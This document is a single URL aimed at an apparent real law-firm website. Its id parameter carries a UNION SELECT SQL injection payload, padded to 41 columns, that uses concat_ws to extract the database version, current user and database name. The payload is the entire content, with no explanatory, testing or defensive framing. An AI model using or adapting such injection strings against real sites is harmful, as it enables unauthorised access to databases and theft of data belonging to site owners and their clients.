http://www.lawfirm.ru/article/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,concat_ws(char(32,45,32), version(),user(),database()),25,26,27,28,29,30,31, 32,33,34,35,36,37,38,39,40,41--